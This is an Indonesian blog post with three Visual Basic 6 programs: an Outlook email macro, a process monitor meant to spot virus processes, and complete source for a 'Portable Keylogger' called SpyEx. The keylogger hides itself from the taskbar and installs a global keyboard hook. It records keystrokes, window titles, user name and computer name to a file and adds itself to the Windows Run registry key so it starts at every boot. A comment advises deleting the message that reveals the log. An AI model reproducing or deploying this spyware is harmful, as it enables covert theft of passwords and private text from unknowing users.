Script VB untuk kirim email menggunakan Microsoft Outlook
Sub Kirim_Pesan
Set OAPP = CreateObject("Outlook.Application")
Set msg = OAPP.CreateItem(0)
msg.To = <e-mail tujuan>
msg.Subject = <judul email>
msg.Body = <isi pesan email>
msg.Attachments.Add (<path attachment>)
msg.Send
Set msg=Nothing
Set OAPP=Nothing
End Sub
NOTE: Komputer harus terinstall Microsoft Outlook :))
untuk kodenya : File
Task Process Monitoring
Pengganti Task Manager yang mungkin tidak bisa diakses karena ulah Virus Local :)
1. Form
List View [Name = info]
CommandButton [Name = cmdCloseProcess] [Caption = Terminate]
CommandButton [Name = Command1] [Caption = Exit]
Timer [Name = updateTimer] [Interval = 1000]
Timer [Name = Cap] [Interval=20]
Label [Name = Label1]
2. Module
 |
| Form Design |
Code Program :
- FORM -
Private Declare Function TerminateThread Lib "kernel32" (ByVal hThread As Long, ByVal dwExitCode As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Dim hSnapshot As Long
Dim processInfo As PROCESSENTRY32
Dim success As Long
Dim exeName As String
Dim retval As Long
Dim itm As ListItem
Dim ProsesName(100), ProsesID(100), PArentID(100)
Dim ProsesExplorer, ExplorerID, cnt, VirusID, PID
Dim virusFound As Boolean
Private Sub Initproses()
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0)
processInfo.dwSize = Len(processInfo)
success = Process32First(hSnapshot, processInfo)
If hSnapshot = -1 Then
Exit Sub
End If
items2 = 0
While success <> 0
items2 = items2 + 1
success = Process32Next(hSnapshot, processInfo)
Wend
retval = CloseHandle(hSnapshot)
If items1 <> items2 Then
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0)
processInfo.dwSize = Len(processInfo)
success = Process32First(hSnapshot, processInfo)
cnt = 1
info.ListItems.Clear
While success <> 0
exeName = Left(processInfo.szExeFile, InStr(processInfo.szExeFile, vbNullChar) - 1)
Set itm = info.ListItems.Add(cnt, , exeName)
ProsesName(cnt) = GetFileName(exeName)
ProsesID(cnt) = processInfo.th32ProcessID
PArentID(cnt) = processInfo.th32ParentProcessID
itm.Tag = exeName
itm.SubItems(1) = processInfo.th32ProcessID
itm.SubItems(2) = processInfo.th32ParentProcessID
itm.SubItems(3) = processInfo.cntThreads
itm.SubItems(4) = processInfo.cntUsage
itm.SubItems(5) = processInfo.th32ModuleID
itm.SubItems(6) = processInfo.th32DefaultHeapID
itm.SubItems(7) = processInfo.pcPriClassBase
cnt = cnt + 1
processInfo.dwSize = Len(processInfo)
success = Process32Next(hSnapshot, processInfo)
Wend
retval = CloseHandle(hSnapshot)
Label1.Caption = cnt - 1 & " Proses Program sedang berjalan - Task Process Monitoring"
items1 = items2
End If
End Sub
Private Sub Cap_Timer()
If Label1.Left < 0 - Label3.Width Then
DoEvents
Label1.Left = 4350
End If
Label1.Left = Label3.Left - 20
Select Case Label1.ForeColor
Case vbBlue: Label1.ForeColor = vbRed
Case vbRed: Label1.ForeColor = vbMagenta
Case vbMagenta: Label1.ForeColor = vbBlue
End Select
End Sub
Private Sub cmdCloseProses_Click()
opPROS = OpenProcess(1, 0, info.SelectedItem.SubItems(1))
If opPROS <> "" Then
TerminateIt = TerminateProcess(opPROS, 0)
If TerminateIt = False Then
f = MsgBox("Proses " & info.SelectedItem.Text & " tidak bisa dihentikan...!!!", vbCritical, "Task Process Monitoring")
End If
End If
CloseHandle (opPROS)
End Sub
Private Sub Command1_Click()
End
End Sub
Private Sub Form_Load()
Label3.Left = 4350
PID = ""
virusFound = True
Initproses
item1 = 0
Call CekProses
End Sub
Private Sub CariExplorer()
For i = 1 To cnt
If LCase(ProsesName(i)) = "explorer.exe" Then
ExplorerID = ProsesID(i)
End If
Next
End Sub
Private Sub CekProses()
For i = 1 To cnt
If (LCase(ProsesName(i)) = "winlogon.exe") And PArentID(i) = ExplorerID Then
VirusID = ProsesID(i)
virusFound = True
PID = PID & "/PID " & VirusID & " "
MsgBox (VirusID)
ElseIf (LCase(ProsesName(i)) = "lsass.exe") And PArentID(i) = ExplorerID Then
VirusID = ProsesID(i)
virusFound = True
PID = PID & "/PID " & VirusID & " "
MsgBox (VirusID)
ElseIf (LCase(ProsesName(i)) = "inetinfo.exe") And PArentID(i) = ExplorerID Then
VirusID = ProsesID(i)
virusFound = True
PID = PID & "/PID " & VirusID & " "
MsgBox (VirusID)
ElseIf (LCase(ProsesName(i)) = "services.exe") And PArentID(i) = ExplorerID Then
VirusID = ProsesID(i)
virusFound = True
PID = PID & "/PID " & VirusID & " "
MsgBox (VirusID)
Else
virusFound = False
End If
Next
End Sub
Private Sub KillVirus(ID)
On Error Resume Next
Shell "C:\WINDOWS\SYSTEM32\Taskkill.exe /f " & PID, vbHide
Initproses
End Sub
Private Sub updateTimer_Timer()
updateTimer.Enabled = False
Call Initproses
updateTimer.Enabled = True
End Sub
-MODULE-
Public Declare Function Process32First Lib "kernel32.dll" (ByVal hSnapshot As Long, lppe As PROCESSENTRY32) As Long
Public Declare Function Process32Next Lib "kernel32.dll" (ByVal hSnapshot As Long, lppe As PROCESSENTRY32) As Long
Public Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * 260
End Type
Public Const TH32CS_SNAPALL = &HF
Public Const WM_CLOSE = &H10
Public items1 As Long
Public items2 As Long
Public Function GetFileName(FullPath As String) As String
On Error Resume Next
Dim dta As String
Dim ch As String
Dim plen As Long
Dim cnt As Integer
plen = Len(FullPath)
cnt = 0
ch = Mid$(FullPath, plen, 1)
While ch <> "\" And cnt < plen
dta = ch & dta
cnt = cnt + 1
ch = Mid$(FullPath, plen - cnt, 1)
Wend
GetFileName = dta
End Function
 |
| Running Program |
Kode Program : File
Portable Keylogger
Buat Project baru pada Visual basic, tambahkan 1 Form dan 1 Module. Pada Form tambahkan juga 1 Timer, Aturlah Properties Timmer Interval=0.
Ketiklah Kode program berikut ini.
- FORM CODE-
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Dim title As String, last As String, strInfo As String, fileName As String
Dim handle As Long, length As Long
Dim i As Integer
Dim fso As New FileSystemObject, txt As TextStream
Private Sub Form_Load()
'Atur Path untuk LOG file
fileName = App.Path & "\SpyEx.txt"
Set txt = fso.OpenTextFile(fileName, ForAppending, True)
txt.WriteLine ("Started: " & Now)
Set objNet = CreateObject("WScript.NetWork")
strInfo = "User Name: " & objNet.UserName & vbCrLf & _
"Computer Name: " & objNet.ComputerName & vbCrLf
txt.WriteLine (vbNewLine & strInfo)
keyChar = Array(8, 9, 160, 17, 18, 35, 36, 46, 91, 92, _
112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, _
32, 106, 107, 109, 110, 111, 186, 187, 188, 189, 190, 191, _
192, 219, 220, 221, 222, 96, 97, 98, 99, 100, 101, 102, 103, _
104, 105)
keyList = Array("BACK", "TAB", "SHIFT", "CTRL", "ALT", "END", "HOME", _
"DEL", "LWIN", "RWIN", "F1", "F2", "F3", "F4", "F5", "F6", "F7", _
"F8", "F9", "F10", "F11", "F12", " ", "*", "+", "-", ".", "/", ";", _
"=", ",", "-", ".", "/", "`", "[", "\", "[", "'", "0", "1", "2", "3", "4", _
"5", "6", "7", "8", "9")
App.TaskVisible = False
Me.Hide
startup '// ===> Aktifkan Keylogger setiap Windows Start
Timer1.Interval = 1
KeyboardHook
End Sub
Private Sub Form_Terminate()
Unhook
hook = 0
End Sub
Private Sub Form_Unload(Cancel As Integer)
txt.Write (vbNewLine & "Ended: " & Now & vbNewLine & vbNewLine)
txt.Close
Unhook
hook = 0
End Sub
Private Sub Timer1_Timer()
last = title
handle = GetForegroundWindow
length = GetWindowTextLength(handle)
title = String(length, Chr$(0))
GetWindowText handle, title, length + 1
If title <> last And last <> "" Then
txt.WriteLine ("<<" & last & ">>" & vbTab & keys)
keys = ""
End If
End Sub
-MODULE CODE-
Private Type KBDLLHOOKSTRUCT
code As Long
End Type
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Const WH_KEYBOARD_LL = 13&
Private Const WM_KEYDOWN = &H100
Private Const READ_CONTROL As Long = &H20000
Private Const STANDARD_RIGHTS_WRITE As Long = (READ_CONTROL)
Private Const KEY_SET_VALUE As Long = &H2
Private Const KEY_CREATE_SUB_KEY As Long = &H4
Private Const SYNCHRONIZE As Long = &H100000
Private Const KEY_WRITE As Long = _
((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Private Const HKEY_LOCAL_MACHINE As Long = &H80000002
Private Const REG_SZ As Long = 1
Private hook As Long
Dim hookKey As KBDLLHOOKSTRUCT
Public intercept As Boolean
Public keyCode As Long, keys As String, keyList, keyChar
Dim subKey As String, key As Long, str As String, size As Long
Public Function startup()
subKey = "software\microsoft\windows\currentversion\run"
str = App.Path & "\" & App.EXEName & ".exe"
size = Len(str)
RegOpenKeyEx HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, key
RegSetValueEx key, "SpyEx", 0, REG_SZ, ByVal str, size
RegCloseKey key
End Function
Public Function KeyboardProc(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If wParam = WM_KEYDOWN Then
Call CopyMemory(hookKey, ByVal lParam, Len(hookKey))
keyCode = hookKey.code
For i = 0 To 21
If keyCode = keyChar(i) Then keys = keys & "[" & keyList(i) & "]"
Next
For i = 22 To 47
If keyCode = keyChar(i) Then keys = keys & keyList(i)
Next
If (keyCode >= 48 And keyCode <= 57) Or (keyCode >= 65 And keyCode <= 90) Then
keys = keys & Chr(keyCode)
ElseIf keyCode = 13 Then
keys = keys & vbNewLine & vbTab
ElseIf keyCode = 123 Then
' MsgBox "SpyEx is closing... The output file is located in " & App.Path & "\SpyEx.txt", vbCritical, "SpyEx" // ====> Sebaiknya dibuang saja
Unload Form1
End If
End If
KeyboardProc = CallNextHookEx(hook, ncode, wParam, lParam)
End Function
Public Function KeyboardHook()
hook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KeyboardProc, App.hInstance, 0&)
End Function
Public Function Unhook()
Call UnhookWindowsHookEx(hook)
hook = 0
Unhook = 1
End Function
++++++++++++++++++++++++++++++++++++++++++++++++++
NOTE: Untuk menonaktifkan Keylogger dari memory, tekan tombol [F12]
Kode Program : File
sumber:cyber x plorer
Tidak ada komentar:
Posting Komentar